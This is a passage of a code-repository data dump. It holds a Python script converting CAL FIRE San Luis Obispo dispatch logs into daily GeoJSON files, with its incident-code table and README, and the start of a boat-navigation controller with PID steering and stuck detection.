(\"Medical\", \"PRO QA, Reserved\"),\n \"MED17\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED17A\": (\"Medical\", \"MEDICAL - C2 - FALLS\"),\n \"MED18\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED19\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED2\": (\"Medical\", \"Medical, Priority 2\"),\n \"MED20\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED20A\": (\"Medical\", \"MEDICAL - C2 - Exposure\"),\n \"MED21\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED21A\": (\"Medical\", \"MEDICAL - C2 - Hemorrhage\"),\n \"MED22\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED23\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED24\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED25\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED26\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED26A\": (\"Medical\", \"MEDICAL - C2 - Sick Person\"),\n \"MED27\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED28\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED29\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED3\": (\"Medical\", \"Medical, Priority 3\"),\n \"MED30\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED30A\": (\"Medical\", \"MEDICAL - C2 - Traumatic\"),\n \"MED31\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED31A\": (\"Medical\", \"MEDICAL - C2 - Unconscious\"),\n \"MED32\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED33\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED34\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED35\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED36\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED37\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED38\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED39\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED4\": (\"Medical\", \"Medical, Priority 4\"),\n \"MED40\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED41\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED42\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED43\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED44\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED45\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED46\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED47\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED48\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED49\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED5\": (\"Medical\", \"Medical, Priority 5\"),\n \"MED50\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED51\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED515\": (\"Medical\", \"5150\"),\n \"MED52\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED53\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED54\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED55\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED56\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED57\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED58\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED59\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED6\": (\"Medical\", \"Medical, Priority 6\"),\n \"MED60\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED61\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED62\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED63\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED64\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED65\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED66\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED67\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED68\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED69\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED7\": (\"Medical\", \"Medical, Priority 7\"),\n \"MED70\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED71\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED72\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED73\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED74\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED75\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED76\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED77\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED78\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED79\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED80\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED81\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED82\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED83\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED84\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED85\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED86\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED87\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED88\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED89\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED90\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED91\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED92\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED93\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED94\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED95\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED96\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED97\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED98\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MED99\": (\"Medical\", \"PRO QA, Reserved\"),\n \"MEDA\": (\"Medical\", \"Medical, Alpha\"),\n \"MEDABD\": (\"Medical\", \"Medical, Abdominal Pain\"),\n \"MEDAD\": (\"Medical\", \"Aircraft Down\"),\n \"MEDAL\": (\"Medical\", \"Aircraft Down, Large\"),\n \"MEDAM\": (\"Medical\", \"Ambulance Request\"),\n \"MEDAS\": (\"Medical\", \"Aircraft Down, Small\"),\n \"MEDASL\": (\"Medical\", \"Assault\"),\n \"MEDAVL\": (\"Medical\", \"Avalanche\"),\n \"MEDB\": (\"Medical\", \"Medical, Bravo\"),\n \"MEDBIR\": (\"Medical\", \"Child Birth\"),\n \"MEDBIT\": (\"Medical\", \"Bites or Stings\"),\n \"MEDBLD\": (\"Medical\", \"Bleeding\"),\n \"MEDBP\": (\"Medical\", \"Blood Pressure\"),\n \"MEDBRN\": (\"Medical\", \"Burns\"),\n \"MEDC\": (\"Medical\", \"Charlie\"),\n \"MEDC2\": (\"Medical\", \"Code 2\"),\n \"MEDC3\": (\"Medical\", \"Code 3\"),\n \"MEDCD\": (\"Medical\", \"Child Down\"),\n \"MEDCHK\": (\"Medical\", \"Choking\"),\n \"MEDCM\": (\"Medical\", \"Carbon Monoxide\"),\n \"MEDCO\": (\"Medical\", \"Coastal\"),\n \"MEDCOS\": (\"Medical\", \"Comp of Surgery\"),\n \"MEDCP\": (\"Medical\", \"Chest Pains\"),\n \"MEDCT1\": (\"Medical\", \"Aircraft Category 1\"),\n \"MEDCT2\": (\"Medical\", \"Aircraft Category 2\"),\n \"MEDCT3\": (\"Medical\", \"Aircraft Category 3\"),\n \"MEDCT4\": (\"Medical\", \"Aircrft SNGL Offsite\"),\n \"MEDCT5\": (\"Medical\", \"Aircrft MULT Offsite\"),\n \"MEDD\": (\"Medical\", \"Medical, Delta\"),\n \"MEDDB\": (\"Medical\", \"Difficulty Breathing\"),\n \"MEDDIA\": (\"Medical\", \"Diabetic\"),\n \"MEDDRW\": (\"Medical\", \"Drowning\"),\n \"MEDE\": (\"Medical\", \"Medical Echo\"),\n \"MEDELT\": (\"Medical\", \"Electrocution\"),\n \"MEDEYE\": (\"Medical\", \"Eye Injury\"),\n \"MEDF\": (\"Medical\", \"Flight\"),\n \"MEDFAL\": (\"Medical\", \"Fall\"),\n \"MEDFF\": (\"Medical\", \"Flight Following\"),\n \"MEDFM\": (\"Medical\", \"Flight Missed\"),\n \"MEDFNT\": (\"Medical\", \"Fainted / Passed Out\"),\n \"MEDFSI\": (\"Medical\", \"SSV Inquiry\"),\n \"MEDFSM\": (\"Medical\", \"SSV Missed Flight\"),\n \"MEDFSS\": (\"Medical\", \"SSV Scene Flight\"),\n \"MEDH\": (\"Medical\", \"Heart Attack, Stroke\"),\n \"MEDHET\": (\"Medical\", \"Heat Related\"),\n \"MEDI\": (\"Medical\", \"Industrial Accident\"),\n \"MEDINQ\": (\"Medical\", \"Inquiry\"),\n \"MEDINT\": (\"Medical\", \"Interfacility\"),\n \"MEDL\": (\"Medical\", \"Life Threatening\"),\n \"MEDLG\": (\"Medical\", \"Lifeguard\"),\n \"MEDLOC\": (\"Medical\", \"Level of Consciousness\"),\n \"MEDM\": (\"Medical\", \"Mass-Casualty\"),\n \"MEDN\": (\"Medical\", \"Non-Life Threatening\"),\n \"MEDO\": (\"Medical\", \"Medical, Omega\"),\n \"MEDOD\": (\"Medical\", \"Overdose\"),\n \"MEDOTS\": (\"Medical\", \"TC Over the Side\"),\n \"MEDPD\": (\"Medical\", \"Person Down\"),\n \"MEDPRG\": (\"Medical\", \"Comp of Pregnancy\"),\n \"MEDR\": (\"Medical\", \"EMS Relay\"),\n \"MEDRA\": (\"Medical\", \"Ringing Alarm\"),\n \"MEDRI\": (\"Medical\", \"Ambulance Ride In\"),\n \"MEDS\": (\"Medical\", \"Standby\"),\n \"MEDSOW\": (\"Medical\", \"Slumped Over Wheel\"),\n \"MEDSTG\": (\"Medical\", \"Staging (Non-violent)\"),\n \"MEDSU\": (\"Medical\", \"Medical - Suicide\"),\n \"MEDSZ\": (\"Medical\", \"Seizures\"),\n \"MEDT\": (\"Medical\", \"Medical Transfer\"),\n \"MEDTRA\": (\"Medical\", \"Trauma\"),\n \"MEDU\": (\"Medical\", \"Medical, Unresponsive\"),\n \"MEDUNR\": (\"Medical\", \"Unresp / Breathing\"),\n \"MEDUU\": (\"Medical\", \"Uncon / Unresp\"),\n \"MISC\": (\"Miscellaneous\", \"Disp. Discretion\"),\n \"MOA\": (\"Medical\", \"Medical Assist\"),\n \"MOAEMD\": (\"Medical\", \"Other Assist E M D\"),\n \"MOAT\": (\"Medical\", \"Assist T/C\"),\n \"MRE\": (\"Medical\", \"Medical Rescue\"),\n \"MREBC\": (\"Medical\", \"Building Collapse\"),\n \"MRECLF\": (\"Medical\", \"Cliff Rescue\"),\n \"MRECS\": (\"Medical\", \"Conf Space/Trench\"),\n \"MREI\": (\"Medical\", \"Med Res, Industrial\"),\n \"MRELG\": (\"Medical\", \"Lifeguard SRF Rescue\"),\n \"MREM\": (\"Medical\", \"Med Res, Mine\"),\n \"MREO\": (\"Medical\", \"Med Res, Ocean\"),\n \"MREOTS\": (\"Medical\", \"Med Res, Over the Side\"),\n \"MRERA\": (\"Medical\", \"Med Res, Remote Area\"),\n \"MRESH\": (\"Medical\", \"Med - Res - Short Haul\"),\n \"MRESRF\": (\"Medical\", \"Surf Rescue\"),\n \"MRESW\": (\"Medical\", \"Med Res, Static Water\"),\n \"MRESWF\": (\"Medical\", \"Med Res, Swift Water\"),\n \"MREUSR\": (\"Medical\", \"USAR\"),\n \"MREW\": (\"Medical\", \"Water Rescue\"),\n \"MTC\": (\"Medical\", \"Traffic Collision\"),\n \"MTCA\": (\"Medical\", \"T/C - Amb Ride-In\"),\n \"MTCF\": (\"Medical\", \"T/C With Fire\"),\n \"MTCFW\": (\"Medical\", \"T/C Freeway\"),\n \"MTCH\": (\"Medical\", \"T/C High Speed\"),\n \"MTCL\": (\"Medical\", \"T/C Low Speed\"),\n \"MTCM\": (\"Medical\", \"T/C Multi-Casualty\"),\n \"MTCMV\": (\"Medical\", \"T/C Multi-Vehicle\"),\n \"MTCOTS\": (\"Medical\", \"T/C Over the Side\"),\n \"MTCPED\": (\"Medical\", \"T/C Auto vs. Pedestrian\"),\n \"MTCS\": (\"Medical\", \"T/C into Structure\"),\n \"MTCU\": (\"Medical\", \"T/C Unknown Injuries\"),\n \"MTCW\": (\"Medical\", \"T/C with Injuries\"),\n \"MTX\": (\"Medical\", \"With Extrication\"),\n \"MTXA\": (\"Medical\", \"T/X - Amb Ride-In\"),\n \"MVI\": (\"Medical\", \"Violence Involved\"),\n \"MVIM\": (\"Medical\", \"MVI, Mass Casualty\"),\n \"MVIS\": (\"Medical\", \"Stabbing - Shooting\"),\n \"MVISTG\": (\"Medical\", \"Staging Required\"),\n \"OAC\": (\"Other\", \"Cover\"),\n \"OACA\": (\"Other\", \"Cover Ambulance\"),\n \"OACE\": (\"Other\", \"Cover Engine\"),\n \"OACM\": (\"Other\", \"Medical Cover\"),\n \"OAF\": (\"Other\", \"Flight Following\"),\n \"OAFC\": (\"Other\", \"Flight Follow, CO-OP\"),\n \"OAFM\": (\"Other\", \"Flight Follow, Med\"),\n \"OAFMHA\": (\"Other\", \"Med Copter Activity\"),\n \"OAM\": (\"Other\", \"Miscellaneous\"),\n \"OAMAD\": (\"Other\", \"Agency Death\"),\n \"OAMADM\": (\"Other\", \"Other, Administrative\"),\n \"OAMAI\": (\"Other\", \"Agency Injury\"),\n \"OAMCAD\": (\"Other\", \"CAD Down\"),\n \"OAMCSM\": (\"Other\", \"CISD\"),\n \"OAMD\": (\"Other\", \"Display\"),\n \"OAMDE\": (\"Other\", \"Damage to Equip/Fac\"),\n \"OAMI\": (\"Other\", \"MISC Investigation\"),\n \"OAMPHN\": (\"Other\", \"Phone System Down\"),\n \"OAMRAD\": (\"Other\", \"Radio Repair\"),\n \"OAMRO\": (\"Other\", \"Resource Order\"),\n \"OAMSO\": (\"Other\", \"SO/Medcom Incident\"),\n \"OAMT\": (\"Other\", \"Misc. Training\"),\n \"OAMT1\": (\"Other\", \"Training (w-Inc #)\"),\n \"OAMTE\": (\"Other\", \"Theft of Equip\"),\n \"OAMTEC\": (\"Other\", \"Theft of Equip, CDF\"),\n \"OAMTEL\": (\"Other\", \"Theft of Equip, Lcl\"),\n \"OAMVA\": (\"Other\", \"CDF Vehicle Accident\"),\n \"OAP\": (\"Other\", \"Staffing Pattern\"),\n \"OAR\": (\"Other\", \"Referral\"),\n \"OARN\": (\"Other\", \"Referral to NAVDG\"),\n \"OASP\": (\"Other\", \"Staffing Pattern\"),\n \"OAT\": (\"Other\", \"Transfer\"),\n \"OAV\": (\"Other\", \"Veg Mgmt\"),\n \"OES\": (\"Other\", \"Services\"),\n \"OESA\": (\"Other\", \"Alarm Test\"),\n \"OESK\": (\"Other\", \"Knox Box\"),\n \"OESL\": (\"Other\", \"Local Request\"),\n \"OESL1\": (\"Other\", \"Local Request(W/Inc#),\"),\n \"OEST\": (\"Other\", \"TRNG Announcement\"),\n \"OOA\": (\"Other\", \"Assist\"),\n \"OOABP\": (\"Other\", \"Burn Permit\"),\n \"OOACB\": (\"Other\", \"Control Burn\"),\n \"OOAFC\": (\"Other\", \"Fire Crews\"),\n \"OOAHT\": (\"Other\", \"Helitack Training\"),\n \"OOAME\": (\"Other\", \"Media\"),\n \"OOAOFS\": (\"Other\", \"OFS\"),\n \"OOASH\": (\"Other\", \"Shorthaul Training\"),\n \"OOU\": (\"Other\", \"Out of Unit\"),\n \"OOUA\": (\"Other\", \"Out of Unit, Aircrft\"),\n \"OOUC\": (\"Other\", \"Out of Unit, Crews\"),\n \"OOUE\": (\"Other\", \"Out of Unit, Equip\"),\n \"OOUED\": (\"Other\", \"Out of Unit, Eq Doz\"),\n \"OOUEE\": (\"Other\", \"Out of Unit, Eq Eng\"),\n \"OOUM\": (\"Other\", \"Out of Unit, MISC\"),\n \"OOUO\": (\"Other\", \"Out of Unit, Ovrhead\"),\n \"OOUOES\": (\"Other\", \"Out of Unit OES\"),\n \"OUT\": (\"Other\", \"Out of Service\"),\n \"PAA\": (\"Public Assist\", \"Agency\"),\n \"PAD\": (\"Public Assist\", \"Demo\"),\n \"PAF\": (\"Public Assist\", \"Flooding\"),\n \"PAO\": (\"Public Assist\", \"Other\"),\n \"PAO1\": (\"Public Assist\", \"Other - Engine Only\"),\n \"PAO2\": (\"Public Assist\", \"Other - Eng and Comp\"),\n \"PAOAN\": (\"Public Assist\", \"Animal\"),\n \"PAOC\": (\"Public Assist\", \"Civil Disturb\"),\n \"PAOLG\": (\"Public Assist\", \"Lifeguard\"),\n \"PAOS\": (\"Public Assist\", \"Salvage\"),\n \"PAOT\": (\"Public Assist\", \"Traffic Hazard\"),\n \"PAP\": (\"Public Assist\", \"Person\"),\n \"PSR\": (\"Public Assist\", \"Search & Rescue\")\n}\n\n\ndef good_line(line):\n fields = line.split(\"|\")\n return len(fields) > 9 and fields[0].startswith(\"CAD\") and fields[7] \\\n and fields[8] and fields[4]\n\n\ndef good_lines(file_path):\n with open(file_path) as open_file:\n return [line.strip() for line in open_file if good_line(line)]\n\n\ndef uniq_lines(dir_path):\n dir_path = os.path.join(dir_path, \"\")\n all_lines = (good_lines(dir_path + f) for f in os.listdir(dir_path))\n all_lines = itertools.chain(*all_lines)\n lam = lambda line: line.split(\"|\")[1]\n sorted_lines = sorted(all_lines, key=lam)\n grouped_lines = itertools.groupby(sorted_lines, lam)\n return (max(g) for k, g in grouped_lines)\n\n\ndef lines_to_geo(line):\n fields = line.split(\"|\")\n point = geojson.Point([float(fields[7]), float(fields[8])])\n try:\n jrsdtn = jrsdtns.get(fields[10], \"\")\n except IndexError:\n jrsdtn = \"\"\n dt = datetime.strptime(fields[4], \"%Y%m%d%H%M%S\")\n category, inc_type = types.get(fields[5], (\"\", \"\"))\n properties = {\n \"event_id\": fields[1],\n \"incident_id\": fields[2],\n \"type\": fields[5],\n \"details\": fields[6],\n \"address\": fields[9],\n \"jrsdtn\": jrsdtn,\n \"category\": category,\n \"time\": dt.time().isoformat(),\n \"date\": dt.date().isoformat()\n }\n return geojson.Feature(geometry=point, properties=properties)\n\n\ndef group_geo_by_day(points):\n days = {}\n for point in points:\n days.setdefault(point.properties[\"date\"], []).append(point)\n for day, points in days.items():\n days[day] = geojson.FeatureCollection(points)\n return days\n\n\ndef days_to_files(days):\n for day, points in days.items():\n day = datetime.strptime(day, \"%Y-%m-%d\").strftime(\"%Y_%m%d_Log\")\n filename = \"geojson/{}.geojson\".format(day)\n with open(filename, \"w\") as open_file:\n open_file.write(geojson.dumps(points) + \"\\n\")\n\nif __name__ == \"__main__\":\n geo = map(lines_to_geo, uniq_lines(\"raw\"))\n days = group_geo_by_day(geo)\n days_to_files(days)\n"
},
{
"alpha_fraction": 0.7612293362617493,
"alphanum_fraction": 0.7612293362617493,
"avg_line_length": 51.875,
"blob_id": "df3c773f85b2b0a72fee7e36e4ee9e5a2205a24c",
"content_id": "2499ff4dff92e94691f6b0a07ed3e8ec10b7bb94",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 423,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 8,
"path": "/README.md",
"repo_name": "tstan/incidents",
"src_encoding": "UTF-8",
"text": "# CAL FIRE San Luis Obispo Incident Data\n\n## File structure\n\n* `convert.py`: Python script used to convert the raw, unformatted logs into GeoJSON format\n* `commit.fish`: Script used to commit new logs every day\n* `raw/`: Contains the raw, unformatted logs from the [CAD](https://en.wikipedia.org/wiki/Computer-aided_dispatch) servers\n* `geojson/`: Contains the GeoJSON formatted logs generated from the `convert.py` script\n"
}
] | 3 |
xizhenTHU/ORCA_Algorithm2 | https://github.com/xizhenTHU/ORCA_Algorithm2 | cdbc87bb4914976a95890c973da813df02a8c194 | a860c512ce2306dfb18f17fbd317566a85f7b678 | e19bd9ee26e67aa86ee4193980f4a896f083e73b | refs/heads/master | 2020-08-15T10:54:27.463104 | 2019-10-21T06:30:16 | 2019-10-21T06:30:16 | 215,328,846 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4764162003993988,
"alphanum_fraction": 0.5042664408683777,
"avg_line_length": 33.16194152832031,
"blob_id": "cd9f63a889ab5c96c7dbdf358979faac168dff76",
"content_id": "7189f0fdea631ada6088c9437a8ef23af4aa7ee9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 17924,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 494,
"path": "/navigation.py",
"repo_name": "xizhenTHU/ORCA_Algorithm2",
"src_encoding": "UTF-8",
"text": "# coding: utf-8\nimport utils\nfrom model import Point\nimport math\nimport numpy as np\nimport csv\nfrom rcRecord import simplified\nfrom enum import IntEnum\nimport globalvar as g\nimport ntrip\nimport serial\nimport time\nimport datetime\nimport serialHandler\nimport struct\nfrom radar.avoidObstacle import avoidObstacle\nimport traceback\nimport Log\nimport checkYaw\nfrom err import add_err, ERR_CODE, del_err\n\n\"\"\"Load log\"\"\"\nlog = Log.log\n\nSPORT_SLEEP_TIME = 5\nRECOVER_SLEEP_TIME = 5\nforward_count = 0\nturn_count = 0\nback_count = 0\nbackup_yaw = 0\nstate = 0\nturn_flag = 0 #1代表左转,0代表右转\n\n\nclass State(IntEnum):\n TURN = 1\n GO = 2\n CALIB = 3\n REVERSE_TURN = 4\n\n\nsidePoints = list()\ngz_last = 0 # global参量\nthrust_last = 0 # global参量\nser = None\n\n\ndef getPoints(filename):\n global sidePoints\n with open(filename) as f:\n reader = csv.reader(f)\n for row in reader:\n try:\n sidePoints.append(Point(float(row[0]), float(row[1])))\n except ValueError:\n continue\n sidePoints = simplified(sidePoints)\n\n\ndef PID_Turn(pShip, pAim, yawShip, gz, error=None, isLeft=None, routeType = 0): # 原地转弯PID\n PID_P_gz = 5\n # PID_D_gz 在下面if结构中定义\n if error == None:\n yawAim = utils.getAimYaw(pShip, pAim) # 期望方向角\n error = utils.angleDiff(yawAim, yawShip) # 角度差\n if isLeft != None and abs(error) > 120:\n if (isLeft and error > 0):\n error -= 360\n elif not isLeft and error < 0:\n error += 360\n\n if routeType == 0 or routeType == -1:\n # 循迹\n gzAim = 15*utils.symbol(error) # 期望角速度\n if abs(error) > 100:\n dire = 100*utils.symbol(error) # 角度差大于100度时全速转弯\n elif abs(error) < 20:\n gzAim = gzAim*abs(error)/20/2\n error_gz = gzAim-gz # 角速度误差\n dire = PID_P_gz * error_gz\n if dire < 0:\n dire = min(dire, -20)\n else:\n dire = max(dire, 20)\n if abs(error) < 5:\n return 0\n else:\n error_gz = gzAim-gz # 角速度误差\n dire = PID_P_gz * error_gz+10*utils.symbol(error)\n elif routeType == 1:\n # 区域\n gzAim = 20*utils.symbol(error) # 期望角速度\n if abs(error) > 60:\n dire = 100*utils.symbol(error) # 角度差大于100度时全速转弯\n elif abs(error) < 20:\n gzAim = gzAim*abs(error)/20/2\n error_gz = gzAim-gz # 角速度误差\n dire = PID_P_gz * error_gz\n if dire < 0:\n dire = min(dire, -30)\n else:\n dire = max(dire, 30)\n if abs(error) < 5:\n return 0\n else:\n error_gz = gzAim-gz # 角速度误差\n dire = PID_P_gz * error_gz+10*utils.symbol(error)\n\n dire = min(dire, 60)\n dire = max(dire, -60)\n log.debug(\"角度差:{}\\tdire: {}\".format(error, dire))\n return int(dire)\n\n\ndef verticalDist_cal(pShip, pAim, tagAngle):\n dist = utils.getDistance(pShip, pAim) \n angleShip2Point = utils.getAimYaw(pShip, pAim)\n diffAngle = angleShip2Point-tagAngle\n verticalDist = np.sin(np.deg2rad(diffAngle))*dist\n return abs(verticalDist)\n\n\ndef normalAngle_cal(tagAngle,inputAngle):\n if tagAngle>180:\n if inputAngle>tagAngle or inputAngle<utils.limitAngle(tagAngle+180):\n # 点在线左侧\n normalAngle=utils.limitAngle(tagAngle+90)\n isRight=-1\n else:\n # 点在线右侧\n normalAngle=utils.limitAngle(tagAngle-90)\n isRight=1\n else:\n if inputAngle>tagAngle and inputAngle<tagAngle+180:\n # 点在线左侧\n normalAngle=utils.limitAngle(tagAngle+90)\n isRight=-1\n else:\n # 点在线右侧\n normalAngle=utils.limitAngle(tagAngle-90)\n isRight=1\n return normalAngle,isRight\n\n\ndef angleWeightSum(angle,weight):\n # 比例相加\n temp=angle.copy()\n if np.ptp(temp)>220.0:# 角度差过大,需要转换\n temp[temp>180]-=360\n return np.dot(temp,weight)\n\n \ndef PID_Go(pShip, pAim, yawShip, gz, speed, tagAngle, routeType = 0, obsCallback = None): # 直行段PID\n global thrust_last # 上一时刻油门值\n PID_P = 1\n # PID_D = 0 在下面if结构中定义\n dist = utils.getDistance(pShip, pAim) # 距离误差\n vert_dist = verticalDist_cal(pShip, pAim, tagAngle)# 垂直距离\n normalAngle,isRight=normalAngle_cal(tagAngle,utils.getAimYaw(pShip, pAim))\n yawAim = utils.getAimYaw(pShip, pAim) # 期望方向角\n radarResult = avoidObstacle(yawShip, yawAim) # 雷达期望方向角\n aoFlag = False\n if radarResult != None and radarResult[1] < dist and abs(radarResult[1] - dist) > 2:\n yawAim = radarResult[0]\n aoFlag = True\n \n if vert_dist>2:\n weight=np.array([0.5,0.5])\n elif vert_dist>1:\n weight=np.array([0.7,0.3])\n elif vert_dist>0.5:\n # 0.5米到1米之间\n weight=np.array([0.83,0.17])\n else:# 0.5米以内\n weight=np.array([1.0,0.0])\n yawAim=angleWeightSum(np.array([yawAim,normalAngle]),weight)\n yawAim=utils.limitAngle(yawAim)\n error = utils.angleDiff(yawAim, yawShip) # 方向角误差\n\n PID_D = -0.8 if error * gz > 0 else 0.8\n dire = PID_P * error + gz * PID_D\n dire = max(dire, -100)\n dire = min(dire, 100)\n\n thrust = 100-abs(error)*3\n if dist < 5 and routeType == 0:\n tar_speed = dist/8-abs(error)/20 # 目标速度\n tar_speed = max(tar_speed, 0.2) # 目标速度限幅在0.2到1之间\n tar_speed = min(tar_speed, 1)\n err_speed = tar_speed-speed\n thrust = thrust_last+err_speed*50\n thrust = min(thrust, 30) # 上限100\n dire = min(dire, 30)\n dire = max(dire, -30)\n if dist < 1:\n thrust = 10\n thrust = max(thrust, 10) # 下限是10\n thrust = min(thrust, 100) # 上限100\n if radarResult != None:\n if aoFlag:\n thrust = 10 if radarResult[1] > 2.5 else -20\n if radarResult[1] > 100000:\n thrust = (20 if abs(error) > 90 else 80)\n dire = 0\n if abs(radarResult[1] - dist) < 2 and obsCallback != None and dist < 3:\n obsCallback()\n thrust = 0\n dire = 0\n thrust_last = thrust\n return int(dire), int(thrust)\n\n\ndef PID_Calib(yawShip):\n radarResult = avoidObstacle(yawShip, yawShip) # 雷达期望方向角\n if radarResult != None:\n thrust = 0\n dire = -100 if radarResult[0] < 0 else 100\n else:\n thrust = 100\n dire = 0\n return thrust, dire\n\n\ndef get_half_point(half_length, yaw, lat, lng):\n # yaw为当前船方向角,单位度\n # lat为当前纬度,单位度\n # lng为当前经度,单位度\n # 函数返回\n # lat_half为船中点纬度,单位度\n # lng_half为船中点经度,单位度\n\n # half_length = 0.7 # GPS天线到船中点位置,单位米,注意GPS在船尾时此值为正,反之为负\n re = 6367444.65712259\n sin_lat = math.sin(np.deg2rad(lat))\n sin_lon = math.sin(np.deg2rad(lng))\n cos_lon = math.cos(np.deg2rad(lng))\n cos_lat = math.cos(np.deg2rad(lat))\n y_east = half_length * math.sin(np.deg2rad(yaw))\n x_north = half_length * math.cos(np.deg2rad(yaw))\n trans_mat = np.array([[-sin_lat * cos_lon, -sin_lon, -cos_lat * cos_lon],\n [-sin_lat * sin_lon, cos_lon, -cos_lat * sin_lon],\n [cos_lat, 0, -sin_lat]])\n xyz_ecef = np.dot(trans_mat, np.array([x_north, y_east, -re])[:, None])\n lng_half = np.rad2deg(math.atan2(xyz_ecef[1], xyz_ecef[0]))\n lat_half = np.rad2deg(math.asin(xyz_ecef[2] / re))\n return lat_half, lng_half\n\n\ndef backStuckCheck():\n global back_count\n # 速度为0,电流正常\n if g.getValue('ship').speed <= 0.1 and g.getValue('ship').pd_current <= 60000:\n back_count += 1\n # 休眠一段时间,状态不变,视为卡位\n if g.getValue('ship').speed <= 0.1 and g.getValue('ship').pd_current <= 60000 and back_count > 3:\n back_count = 0\n # send error message\n log.info(\"ship back report error message\")\n # 舵机停止推进\n data = struct.pack(\"hhb\", 0, 0, 0)\n g.getValue('can').send(0x544, data)\n log.info(\"ship stop sport\")\n g.setValue('linuxState', 0)\n log.info('mission abort')\n # 发送错误信息给前端\n g.getValue('ship').linux_err = add_err(g.getValue('ship').linux_err, ERR_CODE.STUCK_ERR)\n return True\n else:\n back_count = 0\n return False\n\n# Author:Donnie\n# time:2019.06.06\ndef isStuck(pos, points, yaw, gz, isLeft, thrust, dire):\n if g.getValue('ship').control == 1:\n global forward_count, turn_count, state, back_count\n # 船前进\n if thrust > 10 and state == State.GO:\n # log.info(\"ship forward\")\n # 速度为0,电流正常\n if g.getValue('ship').speed == 0 and g.getValue('ship').pd_current <= 60000:\n forward_count += 1\n # 休眠一段时间,状态不变,视为卡位\n if g.getValue('ship').speed == 0 and g.getValue('ship').pd_current <= 60000 and forward_count >= 10:\n forward_count = 0\n dire = 0\n thrust = -80\n sleep_time = 0\n # send error message\n log.info(\"report error message\")\n # 船后退\n data = struct.pack(\"hhb\", thrust, dire, 0)\n g.getValue('can').send(0x544, data)\n while sleep_time < RECOVER_SLEEP_TIME:\n time.sleep(1)\n log.info(\"ship back success\")\n if 